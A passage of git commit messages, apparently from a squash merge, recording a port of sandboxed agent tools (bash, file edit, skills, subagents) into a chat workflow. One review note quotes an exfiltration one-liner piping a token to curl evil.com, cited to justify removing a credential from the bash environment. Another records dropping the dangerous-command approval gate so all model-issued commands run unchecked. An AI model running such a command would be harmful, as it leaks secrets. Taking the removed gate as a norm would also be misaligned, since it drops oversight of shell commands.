   Switched to `if ("error" in result)` (in-operator narrowing) which
   reliably discriminates the union members regardless of literal-type
   inference quirks.

2. `lib/supabase/chats/updateChat.ts` — `let query = supabase.from(...)
   .update(...).eq(...)` + reassignment in a `for` loop (`.is()` /
   `.eq()` per where entry) caused "type instantiation is excessively
   deep" — Supabase's PostgrestFilterBuilder is heavily generic and the
   reassignment kept expanding the type. Rewrote as: split where map
   into equality matches (one `.match(obj)` call) + nullable columns
   (reduced with `.is(col, null)` typed back to the original builder).

Both bugs were behavior-neutral — the function shape and contract are
unchanged. 37/37 tests in touched files green; full suite 2955/2955;
lint clean; `pnpm build` now succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4, slim) (#583)

* feat(chat-workflow): port bash sandbox tool + wire experimental_context (PR 4 of 4, slim)

Slim PR 4: ports the `bash` sandbox tool from open-agents and wires it
through the workflow via streamText's `experimental_context`. Proves
the entire tool-execution machinery works end-to-end. The remaining 10
tools (read, write, grep, glob, todo, task, ask_user_question, skill,
fetch + utils) port in a follow-up; this PR's scope was deliberately
held to one tool so the wire-up is reviewable in isolation.

New files:
- lib/agent/tools/utils.ts — AgentContext type, isAgentContext guard,
  getSandbox() that reconnects via connectVercel(state) per call.
- lib/agent/tools/buildRecoupExecEnv.ts — { RECOUP_ACCESS_TOKEN,
  RECOUP_ORG_ID } env builder from context.
- lib/agent/tools/bashTool.ts — direct port of open-agents bash.ts
  adapted to api's Sandbox interface. Injects recoup env on foreground
  execs only (detached processes outlive the prompt → no token).
- lib/agent/buildAgentTools.ts — factory returning the agent's tool
  record. Adding the remaining tools is a one-line append to this map.

Wire-up:
- runAgentStep now accepts `agentContext`, passes into streamText as
  experimental_context, and uses streamText's internal multi-step loop
  (stopWhen: stepCountIs(25)) for tool-call iteration — no outer loop
  in runAgentWorkflow needed.
- handleChatWorkflowStream derives recoupOrgId from session.clone_url
  via extractOrgId, builds AgentContext with session.sandbox_state +
  validated.authToken, passes to start(workflow).

Tests: 23 new (3 utils + 5 buildRecoupExecEnv + 10 bashTool + 2 factory
+ 3 workflow file updates picked up by existing tests). Full suite
2978/2978 pass; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(chat-workflow): address PR 583 review — KISS/SRP + drop token exposure

Sweetman KISS/SRP feedback (4 comments):
- Removed `MAX_TOOL_STEPS` + `stopWhen` from runAgentStep. streamText's
  default stop condition handles tool-call iteration without an
  arbitrary cap that could silently truncate the only workflow turn.
- Removed `commandNeedsApproval` + `DANGEROUS_COMMAND_PATTERNS` from
  bashTool. All model-issued commands are trusted in this PR — host-
  side gating belongs at the route/UI layer if it ever returns.
- Removed `needsApproval` from bashTool entirely (subsumes cubic P1
  about the broken override ordering — the gate itself is gone).
- Split `lib/agent/tools/utils.ts` into per-function files:
  - `AgentContext.ts` — type
  - `isAgentContext.ts` — guard
  - `getSandbox.ts` — sandbox reconnection
  No catch-all utils file.

Cubic feedback:
- **P0**: Removed `recoupAccessToken` from AgentContext + handler +
  buildRecoupExecEnv. Handing the long-lived api key to bash would let
  any model-issued command exfiltrate it via env (`echo $TOKEN | curl
  evil.com`). Slim PR 4 has no actual consumer for the token — only
  the future `skill` tool needs it. Proper short-lived token minting
  will land alongside that port.
- **P2** (`isAgentContext` too weak): tightened the guard to validate
  sandbox.state is a non-null object AND sandbox.workingDirectory is a
  non-empty string. Earlier guard returned true for `{ sandbox: {} }`,
  letting tools later crash on undefined fields.
- P1 + P2 about stopWhen / needsApproval: resolved by sweetman's
  deletions above.
- P2 (test file >100 lines): dismissed — same as PR 3 review. The repo
  has no enforced max-lines rule; existing tests routinely exceed 700
  lines.

Tests updated for the new shape. 25 tests in touched files green
(8 isAgentContext + 4 getSandbox + 7 bashTool + 4 buildRecoupExecEnv +
2 factory). Full suite 2980/2980 pass; lint clean; production build
succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(chat): extract CHAT_AGENT_STOP_WHEN, shared by /api/chat + /api/chat/workflow

Per discussion on PR #583. Restoring the streamText stop condition so
the workflow agent gets the model wrap-up turn after a tool call (model
→ tool → tool-result → model → text response), instead of stopping at
streamText's default `stepCountIs(1)` after the first tool call.

DRY by sharing one constant between the two chat endpoints:

- New: `CHAT_AGENT_STOP_WHEN = stepCountIs(111)` in lib/chat/const.ts.
  Inherits the value that /api/chat already uses (originally hardcoded
  in getGeneralAgent.ts:55) — high enough that normal flows never hit
  the cap but bounds runaway loops for cost / replay safety.
- lib/agents/generalAgent/getGeneralAgent.ts: imports the constant
  instead of constructing stepCountIs(111) inline.
- app/lib/workflows/runAgentStep.ts: imports the constant, passes to
  streamText as `stopWhen`.

Single-shot agents (createCompactAgent, createContentPromptAgent,
createEmailReplyAgent) intentionally keep their local `stepCountIs(1)`
— they're not in the multi-step chat family.

Full suite 2980/2980 pass; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): port 7 leaf sandbox tools — read/write/edit/grep… (#585)

* feat(chat-workflow): port 7 leaf sandbox tools — read/write/edit/grep/glob/todo/web_fetch (PR 5)

Builds on PR 4 (bash + wire-up) by porting the remaining leaf tools
from open-agents/packages/agent/tools/. Each is a direct port adapted
to api's Sandbox interface, registered in buildAgentTools, and ready
for the agent to invoke through the existing experimental_context
plumbing.

New tool files (one tool per file, per sweetman SRP):
- readFileTool.ts — read with 1-indexed offset/limit, numbered output
- writeFileTool.ts — create / overwrite (with mkdir -p) on sandbox.writeFile
- editFileTool.ts — exact-string replace, ambiguous-match rejection
- grepTool.ts — POSIX ERE search via `grep -rn`, capped at 100/10/200
- globTool.ts — find -printf with mtime sort, GNU/BSD-compatible
- todoWriteTool.ts — stateless planning surface; echoes the list back
- webFetchTool.ts — curl from inside the sandbox, body truncated at 10KB

New helpers (utilities used by multiple tools):
- shellEscape.ts — `'` → `'\''` dance
- toDisplayPath.ts — absolute → relative-when-inside-workdir display path

buildAgentTools registers all 8 leaf tools (bash + 7 new). The composite
tools (`task`, `ask_user_question`, `skill`) need subagent context /
UI rendering / skill discovery infrastructure not in api today and
land in a follow-up PR.

Tests: 50 new across the 7 tools + 2 helpers + factory. Full suite
3014/3014; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(agent-tools): harmonize tool exports as direct values (drop factory wrappers)

Per PR 585 review question — most tools were defined as `() => tool({...})`
factories while two (todoWriteTool, webFetchTool) were direct values.
The split was a vestigial copy from open-agents where the factory
pattern only made sense for tools that took options (originally bash's
ToolOptions, which sweetman had me remove in PR 4 review).

AI SDK's `tool()` helper returns a plain value with no per-call state,
so the factory wrappers added nothing. Harmonized to direct-value
exports across all 8 tools:

- bashTool, readFileTool, writeFileTool, editFileTool, grepTool,
  globTool: dropped the `() =>` wrapper.
- buildAgentTools.ts: dropped the matching `()` calls.
- 6 test files: dropped `const tool = xTool();` calls (use `xTool` directly).

Full suite 3014/3014 pass; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): port skill discovery + skillTool (PR 6, slim) (#587)

* feat(chat-workflow): port skill discovery + skillTool (PR 6, slim)

Ports the `skill` composite tool from open-agents along with the skill
discovery layer it depends on. The handler now connects to the sandbox
before workflow start, scans `${workingDirectory}/skills/` for project-
level skills, and threads the catalog into the workflow via
`AgentContext.skills`. The `skill` tool is registered in
`buildAgentTools` only when the catalog is non-empty — so models in
sandboxes without skills never see the tool.

New skills layer (lib/skills/):
- skillTypes.ts — SkillMetadata, SkillOptions, skillFrontmatterSchema,
  frontmatterToOptions (Zod schema + camelCase normalization)
- parseSkillFrontmatter.ts — hand-rolled YAML subset parser
  (key:value, quoted strings, booleans; preserves colons in URLs)
- extractSkillBody.ts — strip frontmatter, return body
- substituteArguments.ts — $ARGUMENTS replacement
- injectSkillDirectory.ts — prepend `Skill directory: <path>`
- discoverSkills.ts — scan dirs, parse frontmatter, dedupe by name,
  drop names that shadow built-in /model /resume /new
- getSandboxSkillDirectories.ts — slim: `[${workingDirectory}/skills]`
  only. Global skills (~/.skills) port later alongside short-lived
  token minting

New tool: lib/agent/tools/skillTool.ts — case-insensitive lookup,
respects `disable-model-invocation`, surfaces available-skills list
on unknown name. Loads SKILL.md content, applies extractSkillBody →
injectSkillDirectory → substituteArguments, returns to the model.

Wire-up:
- AgentContext gains `skills?: SkillMetadata[]`
- buildAgentTools accepts `{ skills }`, registers skill tool when
  non-empty
- runAgentStep passes `agentContext.skills` to buildAgentTools
- handleChatWorkflowStream connects sandbox + discoverSkills before
  start(workflow); empty catalog on discovery failure (best-effort,
  never blocks the request)

Slim scope decisions:
- Project skills only (no global ~/.skills/ scan yet)
- No short-lived token minting; the recoup-api skill would still
  load + return content, but its curl examples wouldn't authenticate
  without ad-hoc credentials. Token minting becomes a separate PR
  where it can be designed properly (Privy JWT vs server-minted JWT
  scoped to accountId + sandbox session).

Tests: 35 new (4 extractSkillBody + 4 substituteArguments + 2
injectSkillDirectory + 7 parseSkillFrontmatter + 9 discoverSkills +
7 skillTool + 4 buildAgentTools updated). Full suite 3049/3049 pass;
lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* fix(skills): match open-agents 3-path scan (was scanning the wrong dir)

The slim getSandboxSkillDirectories looked at \${workingDirectory}/skills/
— a path that doesn't exist in real recoupable sandboxes. The actual
layout (mirrored from open-agents/apps/web/lib/skills/directories.ts):

  - \${workingDirectory}/.claude/skills/   (project, claude-style)
  - \${workingDirectory}/.agents/skills/   (project, agents-style)
  - \${HOME}/.agents/skills/               (global; populated at
                                           provisioning by
                                           installSessionGlobalSkills)

Also drops the earlier deferral comment: global skills load fine
WITHOUT short-lived token minting. The skill tool returns SKILL.md
content to the model; only the curl examples *inside* SKILL.md need
auth credentials, and those can be supplied ad-hoc until proper
token minting lands.

Changes:
- getSandboxSkillDirectories now async (uses resolveSandboxHomeDirectory
  to find the sandbox's actual $HOME — defaults to /root)
- exports the two sub-functions (getProjectSkillDirectories +
  getGlobalSkillsDirectory) so they're individually testable
- Handler awaits the async path resolution
- New test suite covers all 3 paths + $HOME variants

Caught by sweetman pointing out that this same repo (org-rostrum-pacific)
DOES show skills in open-agents — proving the slim deferral was wrong.

Full suite 3053/3053; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(skills): YAGNI project-dir scan + extract getSkills (per PR 587 feedback)

Two changes per user direction:

1. **YAGNI: drop project-skill directory scanning.** All skills are
   provisioned globally via `installSessionGlobalSkills` at sandbox
   startup — org repos do NOT bundle their own skill directories.
   getSandboxSkillDirectories now returns just the single global
   path: \`\${HOME}/.agents/skills\`. Deleted getProjectSkillDirectories
   and the PROJECT_SKILL_BASE_FOLDERS array.

2. **SRP: extract getSkills into its own file.** Previously inline in
   skillTool.ts (per sweetman comment on PR 587). Now lives at
   lib/skills/getSkills.ts with its own tests. Future skill-aware
   consumers (e.g. system-prompt builders) share the same accessor
   instead of duplicating the context-cast.

Verified live on preview against \`recoupable/org-rostrum-pacific-...\`
BEFORE this commit:
  - Sandbox provisioning installs 2 globals at
    /home/vercel-sandbox/.agents/skills/ (recoup-api + artist-workspace)
  - Agent invoked \`skill({ skill: "recoup-api" })\` successfully,
    received 11,173 chars of SKILL.md content with the correct
    "Skill directory: /home/vercel-sandbox/.agents/skills/recoup-api"
    header

Full suite 3055/3055; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(skills): SRP — extract findSkillFile + getGlobalSkillsDirectory

Per sweetman PR review (comments r3283710486 and r3283762023). Each
helper now lives in its own file with its own focused test suite:

- lib/skills/findSkillFile.ts — was inlined in discoverSkills.ts
  - 3 new unit tests (prefer SKILL.md, fall back to skill.md, null
    when neither exists)
- lib/skills/getGlobalSkillsDirectory.ts — was inlined in
  getSandboxSkillDirectories.ts
  - 2 new unit tests (standard path, trailing-slash tolerance)

discoverSkills now imports findSkillFile. getSandboxSkillDirectories
imports getGlobalSkillsDirectory. The old getSandboxSkillDirectories
test loses its inline getGlobalSkillsDirectory cases (those moved to
the dedicated test file).

Full suite passes; lint clean; production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): port task + ask_user_question composite tools (PR 7) (#589)

* feat(chat-workflow): port task + ask_user_question composite tools (PR 7)

Completes the open-agents tool surface. The agent now has all 11 tools.

**ask_user_question** (lib/agent/tools/askUserQuestionTool.ts) —
client-side tool with NO server execute. Schema mirrors open-agents
verbatim (questions array, options with label/description, multiSelect
flag, max 12-char header). streamText halts after emitting the tool-
call because there's no result to feed back; the chat UI renders the
question component, collects answers, and submits them in the next
workflow request's messages array. No WDK pause/resume hook needed.

**task** (lib/agent/tools/taskTool.ts) — slim port of open-agents'
multi-type SUBAGENT_REGISTRY → one generic subagent. Runs a sub-
`streamText` loop with a curated subagent tool set (`read, write,
edit, grep, glob, bash`) matching open-agents' `executor` subagent.

The subagent tool set deliberately EXCLUDES:
- task (recursion guard — open-agents' three subagent types
  executor/explorer/design all explicitly omit task too; subagents
  are leaves of the agent tree)
- ask_user_question, skill, todo_write, web_fetch (parity with
  open-agents subagent curation; subagents run autonomously, don't
  plan from scratch, don't make web calls, don't load further skills)

AgentContext gains `modelId?: string` so the subagent can use the
same model as its parent. Handler populates it from chat.model_id
or the platform default.

buildAgentTools registers both new tools unconditionally (skill stays
conditional on a non-empty catalog).

Quirk: api's AI SDK (6.0.0-beta.122) calls toModelOutput(output)
directly, NOT toModelOutput({ output }) as open-agents' newer 6.0.165
does. askUserQuestionTool uses the direct signature.

Tests: 9 askUserQuestionTool + 6 taskTool + updated buildAgentTools
+ AgentContext updates. Full suite 3075/3075 pass, lint clean,
production build succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* fix(task-tool): provide non-empty subagent prompt

The subagent's streamText was invoked with messages: [] and only a
system prompt, so the AI SDK recorded zero steps and threw
NoOutputGeneratedError — surfaced to the parent as "Subagent failed:
No output generated. Check the stream for errors."

Pass an explicit user-side trigger prompt, mirroring open-agents'
task tool. Adds a regression test that asserts streamText receives
either a non-empty prompt or non-empty messages.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(task-tool): extract buildSubagentTools (SRP) + drop modelId from AgentContext (KISS)

Address PR review feedback:

- SRP: move buildSubagentTools to lib/agent/tools/buildSubagentTools.ts
  (one exported function per file).
- KISS: open-agents' AgentContext type does not have modelId — it uses
  model: LanguageModel / subagentModel?: LanguageModel. api can't follow
  that exact shape because agentContext is part of a durable Vercel
  Workflow input and LanguageModel objects aren't JSON-serializable.
  Instead of inventing modelId on AgentContext, hardcode a default
  subagent model id in taskTool. A subagentModelId override field can
  be added if/when a real consumer needs it.

Also format-fixes askUserQuestionTool.ts toModelOutput arrow
(parentheses around single param flagged by prettier in CI).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(agent): align AgentContext + model resolution with open-agents

Match open-agents' `tools/utils.ts` + `types.ts` shape so the subagent
inherits the parent's model (rather than the previous hardcoded
SUBAGENT_MODEL_ID):

- AgentContext gains `model: LanguageModel` (required) and
  `subagentModel?: LanguageModel`, mirroring open-agents.
- Introduce DurableAgentContext = Omit<AgentContext, "model" | "subagentModel">
  for the workflow input shape, since LanguageModel instances aren't
  JSON-serializable and can't ride durable Vercel Workflow inputs.
- runAgentStep constructs `callModel = gateway(input.modelId)` once
  per step and merges it into experimental_context — same pattern as
  open-agents' prepareCall in open-harness-agent.ts.
- New getMainModel / getSubagentModel helpers (SRP, one per file)
  mirror open-agents' utility functions: getSubagentModel returns
  `ctx.subagentModel ?? ctx.model`.
- taskTool drops the hardcoded SUBAGENT_MODEL_ID; calls
  getSubagentModel(experimental_context, "task") instead — subagent
  now defaults to the same model the parent is running.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): emit per-message cost/usage metadata (cutover Bundle C) (#592)

* feat(chat-workflow): emit per-message cost/usage metadata (Bundle C)

First step in the open-agents → api cutover sequence. Adds a
messageMetadata callback to runAgentStep's toUIMessageStream call so
the UI receives {modelId, lastStepUsage, totalMessageUsage,
lastStepCost, totalMessageCost, stepFinishReasons} on every assistant
turn — matching open-agents' WebAgentMessageMetadata shape byte-for-byte
so sandbox.recoupable.com's model/cost badges keep working when cut
over to /api/chat/workflow.

New (SRP, one function per file):
- lib/agent/messageMetadata/extractGatewayCost.ts — port of
  open-agents' gateway-metadata.ts, parses gateway-reported per-step
  cost from providerMetadata.
- lib/agent/messageMetadata/addLanguageModelUsage.ts — port of
  open-agents' usage.ts, pointwise-sums LanguageModelUsage records.
- lib/agent/messageMetadata/AgentMessageMetadata.ts — type mirroring
  open-agents' WebAgentMessageMetadata.
- lib/agent/messageMetadata/buildMessageMetadataCallback.ts —
  stateful factory returning a fresh callback per turn; accumulates
  usage + cost across finish-step parts.

Wired into app/lib/workflows/runAgentStep.ts. PROGRESS notes called
this out as a known gap from the original workflow port (PR 4).

Tests: 19 new (6 + 4 + 6 + 3); full suite 3096/3096 pass; lint clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(message-metadata): SRP extractions + upgrade ai SDK; drop normalizeUsage

Address PR review feedback (one exported function per file) and adopt
the user's preferred path of upgrading api's `ai` package rather than
maintaining a normalization shim:

- Extract addTokenCounts.ts (used by addLanguageModelUsage)
- Extract hasGatewayShape.ts + GatewayProviderMetadata.ts (used by
  extractGatewayCost)
- Split AgentStepFinishMetadata into its own file (was co-located
  in AgentMessageMetadata)

Upgrade the AI SDK so the wire format matches open-agents natively:
- ai: 6.0.0-beta.122 → ^6.0.190
- @ai-sdk/anthropic, @ai-sdk/gateway, @ai-sdk/google, @ai-sdk/openai,
  @ai-sdk/mcp: all bumped to latest stable

The new SDK's LanguageModelUsage is the flat shape (top-level
`inputTokens` number + nested `inputTokenDetails`) — identical to
open-agents' wire format. No conversion needed, so:
- Delete normalizeUsage.ts + test (net -82 LOC)
- Delete AgentLanguageModelUsage type (use SDK's LanguageModelUsage
  directly)

Production code changes for the SDK upgrade:
- runAgentStep + setupChatRequest: await convertToModelMessages
  (now returns Promise<ModelMessage[]>)

Tests: 3106/3106 pass; production typecheck clean; lint clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(task-tool): live subagent progress + transcript (Cutover Bundle B) (#594)

Convert taskTool.execute from `async () =>` to `async function*`,
mirroring open-agents' `packages/agent/tools/task.ts`. Yields multiple
chunks during the subagent run so the chat UI can render:

  - An initial "Subagent · 0 tools · 0 tokens" card with stable
    startedAt timestamp
  - A live `pending: {name, input}` indicator for each tool-call
  - Accumulated `usage` after each finish-step
  - A final `{final: ModelMessage[], ...}` chunk containing the full
    subagent transcript for expandable rendering

`toModelOutput` mirrors open-agents' implementation: extracts the
last assistant text part from `output.final` for inclusion in the
parent agent's context.

New (SRP, one function per file):
- lib/agent/messageMetadata/sumLanguageModelUsage.ts — wraps
  addLanguageModelUsage to handle undefined inputs without
  introducing zero-tokens placeholders.

Drive-by fix: askUserQuestionTool's `toModelOutput` signature was
`(output) =>` from the older beta SDK era. The current SDK
(ai@^6.0.190) passes `({ toolCallId, input, output })`. Updated to
`({ output }) =>` so the function actually receives the user's
answers at runtime — was previously falling through to the generic
"User responded to questions." path. Tests updated to match.

Tests: 25 new/updated (12 taskTool + 4 sumLanguageModelUsage + 9
askUserQuestion); full suite 3114/3114 pass; lint clean.

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
sweetmantech added a commit that referenced this pull request May 22, 2026
* feat(chat-workflow): POST /api/chat/workflow route stub (PR 2 of 5) (#579)

* feat(chat-workflow): add POST /api/chat/workflow route stub

Adds the route stub for the new sandbox-driven, Vercel-Workflow-backed
chat endpoint documented in recoupable/docs#221. The stub validates
the full request contract (auth, body, session/chat ownership,
sandbox active) and returns a hardcoded UIMessage stream with an
x-workflow-run-id: stub-<uuid> header — so the chat-side team can
integrate against the real response shape today while the workflow
itself is being ported from open-agents in follow-up PRs.

Files:
- app/api/chat/workflow/route.ts — thin POST shim + OPTIONS for CORS
- lib/chat/handleChatWorkflowStream.ts — auth → validate → session/chat
  ownership → sandbox check → stub UIMessage stream
- lib/chat/validateChatWorkflowBody.ts — Zod schema matching the OpenAPI
  ChatWorkflowRequest (messages, chatId, sessionId, optional
  context.contextLimit)

Status codes implemented (match contract docs):
- 200 — UIMessage stream + x-workflow-run-id header
- 400 — invalid JSON / invalid body / "Sandbox not initialized"
- 401 — validateAuthContext passthrough
- 403 — session not owned by API key's account
- 404 — session or chat not found (incl. chat under different session)
- 500 — selectSessions returned null (DB error)

409 (duplicate workflow run for chat) is deferred to the wire-up PR
that adds compareAndSetChatActiveStreamId — no workflow to dedupe yet.

Tests (TDD red→green): 23 new tests, all green; full suite 2901 pass.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(chat-workflow): address PR review — SRP/DRY cleanup

Two review fixes per PR feedback:

1. SRP/DRY — drop the local errorResponse helper from
   handleChatWorkflowStream.ts; use the shared
   lib/networking/errorResponse and lib/zod/validationErrorResponse
   helpers instead.

2. SRP — move auth + body parsing out of handleChatWorkflowStream.ts
   into the validator. Rename validateChatWorkflowBody → validateChatWorkflow
   so it accepts a full NextRequest (like the existing validateChatRequest)
   and returns an auth-augmented body (accountId/orgId/authToken). The
   handler now opens with a single `validateChatWorkflow(request)` call.

Tests reshaped to match new seams:
- Validator test mocks validateAuthContext only
- Handler test mocks validateChatWorkflow (the new seam)
- Old "400 invalid JSON" + "400 missing chatId" handler tests collapsed
  into a single "validator short-circuit passes through" test — both are
  now the validator's responsibility, not the handler's

22/22 new tests green; full suite 2900/2900 pass; lint clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* chore: revert unrelated local changes accidentally swept into PR

Previous commit (9262f65) used `git add -A` which picked up local
Supabase CLI artifacts (supabase/.temp/) and a local .gitignore tweak
that aren't part of this PR's scope. Removing them now so the PR
diff stays scoped to the chat-workflow refactor.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow (PR 3 of 4) (#581)

* feat(chat-workflow): wire POST /api/chat/workflow to durable Vercel Workflow

Replaces the stub UIMessage stream in PR #579 with a real Vercel Workflow
agent loop. Stub run-ids (`stub-<uuid>`) are replaced with real ones
(`wrun_<id>`) emitted by the workflow runtime. Tools are still NOT wired —
the workflow runs streamText with the gateway model + Recoup custom
instructions only. Sandbox tool surface comes in a follow-up PR.

What's now plumbed end-to-end:
- validateChatWorkflow → session+chat ownership → sandbox active → reconcile
  existing active_stream_id (resume / 409 / fall-through) → refresh
  lifecycle activity → fire-and-forget persist user message → start
  runAgentWorkflow → CAS active_stream_id (cancel + 409 on race) →
  return run.getReadable() with x-workflow-run-id header

New helpers (Supabase):
- compareAndSetChatActiveStreamId — atomic CAS on chats.active_stream_id
- touchChat — bump chats.updated_at
- updateChat — generic partial update mirroring updateSession's shape
- createChatMessageIfNotExists — INSERT ... ON CONFLICT DO NOTHING via upsert
- isFirstChatMessage — true iff exactly one row exists matching messageId

New helpers (chat/recoupable):
- extractOrgId — `org-<slug>-<uuid>` → uuid (lowercased)
- agentCustomInstructions — assistantFileLinkPrompt + recoupApiSkillPrompt
- persistLatestUserMessage — fire-and-forget user msg + title-from-first-80
- reconcileExistingActiveStream — 3-attempt resume/clear/conflict loop

New workflow files:
- app/workflows/runAgentWorkflow.ts — `"use workflow"`, agent loop wrapper
- app/workflows/runAgentStep.ts — `"use step"`, single streamText turn

Tests: 46 new (8 extractOrgId + 5 cAS + 3 touchChat + 2 updateChat + 3
createChatMessageIfNotExists + 5 isFirstChatMessage + 7 persistLatest +
6 reconcileExistingActiveStream + 18 handler-wire-up tests refactored).
Full suite: 2946/2946 pass, lint clean.

Out of scope (next PR): sandbox tool ports (10 files + buildAgentTools).
Without tools, `finishReason` is always "stop" after one turn — the
runAgentWorkflow loop shape is in place but only iterates once today.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(chat-workflow): address PR review — structural + P1/P2 fixes

Sweetman structural feedback (KISS / OCP):
- Move workflow files: app/workflows/runAgent{Workflow,Step}.ts →
  app/lib/workflows/runAgent{Workflow,Step}.ts
- Generic Supabase helpers + domain wrappers:
  - Generic `updateChat({filter, updates})` with optional CAS predicate
    on active_stream_id. Subsumes compareAndSetChatActiveStreamId and
    touchChat (both deleted).
  - Generic `selectChatMessages({chatId, orderBy, limit, ...})` replaces
    domain-specific isFirstChatMessage. The "is earliest?" check now
    lives in persistLatestUserMessage where it belongs.
  - Rename createChatMessageIfNotExists → `upsertChatMessage` with a
    discriminated `{ok, row, isDuplicate} | {ok:false, error}` result so
    callers can tell duplicates from DB errors.
- Extract resume-stream block from handler into `maybeResumeChatStream.ts`
  (OCP — handler stays small, resume logic grows independently).

cubic P1 fixes:
- CAS-before-start: handler now claims `active_stream_id` with a
  `pending-<uuid>` placeholder BEFORE calling start(workflow). Closes the
  race where two requests could both bill the model before one lost the
  CAS. After start(), promotes the placeholder to the real run id.
- updateChat returns discriminated `{ok, rowsUpdated} | {ok:false, error}`
  so callers distinguish "race lost" (rowsUpdated:0) from DB errors.
- reconcileExistingActiveStream: bare try/catch on getRun no longer
  clears stale active_stream_id on transient workflow API failures —
  we treat any uncertainty as conflict. Failed CAS-clear on a completed
  run also returns conflict (rather than possibly falling through to
  ready on a DB read error).
- await getRun(runId).cancel() in handler — previously synchronous +
  unawaited cancellation could escape the try/catch.

cubic P2 fixes:
- updateChat updates parameter narrowed to `ChatMutableFields` (excludes
  id, session_id, created_at).
- persistLatestUserMessage: title truncation now respects TITLE_MAX_LENGTH
  exactly. Uses "…" (1 char) instead of "..." (3 chars) and slices to
  body-budget = max - suffix.
- runAgentStep: acquire writer once, release in finally. Per-chunk writer
  acquisition could leak the lock on write failure.
- runAgentWorkflow: capped at a single turn until messages threading
  lands with tool ports (PR 4). Multi-turn loop with the same input was
  unsafe — log+warn if model returns tool-calls and exit.

Tests reworked: 231 in the touched files all green; full suite 2949/2949;
lint clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(chat-workflow): top-level import in reconcileExistingActiveStream

The dynamic `await import("workflow/api")` inside the function body was
a carry-over from open-agents — handleChatWorkflowStream.ts already
top-level imports `start` and `getRun` from the same package, so there's
no reason for the lib to defer. Moving to a normal top-level import for
consistency.

Also tightens the cancel-throws handler test to use the same deferred-
rejection pattern as reconcileExistingActiveStream.test.ts so Vitest's
unhandled-rejection watcher doesn't trip on the mock setup.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* refactor(chat-workflow): move active_stream_id CAS out of supabase lib

Per sweetman's review on updateChat.ts:64 — the active_stream_id-specific
predicate logic doesn't belong in the Supabase plumbing. Restructured:

- `lib/supabase/chats/updateChat.ts` now generic. The filter accepts
  `where: Partial<Tables<"chats">>` (a generic predicate that maps to
  `column = value` or `column IS NULL`) so no column name is hardcoded
  in the Supabase lib.

- `lib/chat/compareAndSetChatActiveStreamId.ts` — new domain wrapper.
  Owns the "compare-and-set on active_stream_id" concept and returns a
  discriminated `{ok, claimed} | {ok: false, error}` result. Handler
  and reconcileExistingActiveStream both compose against this wrapper
  instead of constructing predicates inline.

- Handler + reconcile updated to use the wrapper. Tests follow.

37/37 tests in touched files pass; full suite 2955/2955; lint clean.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* fix(chat-workflow): Next.js build — discriminated-union narrowing + supabase type depth

Two production-build issues surfaced by Vercel that local pnpm test +
tsc didn't catch (vitest uses esbuild transpile, no type check; tsc's
errors were all in __tests__ unrelated to this PR).

1. `compareAndSetChatActiveStreamId.ts` — `if (result.ok) { ... }`
   narrowing wasn't kicking in under Next.js's strict TS plugin.
   Switched to `if ("error" in result)` (in-operator narrowing) which
   reliably discriminates the union members regardless of literal-type
   inference quirks.

2. `lib/supabase/chats/updateChat.ts` — `let query = supabase.from(...)
   .update(...).eq(...)` + reassignment in a `for` loop (`.is()` /
   `.eq()` per where entry) caused "type instantiation is excessively
   deep" — Supabase's PostgrestFilterBuilder is heavily generic and the
   reassignment kept expanding the type. Rewrote as: split where map
   into equality matches (one `.match(obj)` call) + nullable columns
   (reduced with `.is(col, null)` typed back to the original builder).

Both bugs were behavior-neutral — the function shape and contract are
unchanged. 37/37 tests in touched files green; full suite 2955/2955;
lint clean; `pnpm build` now succeeds.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

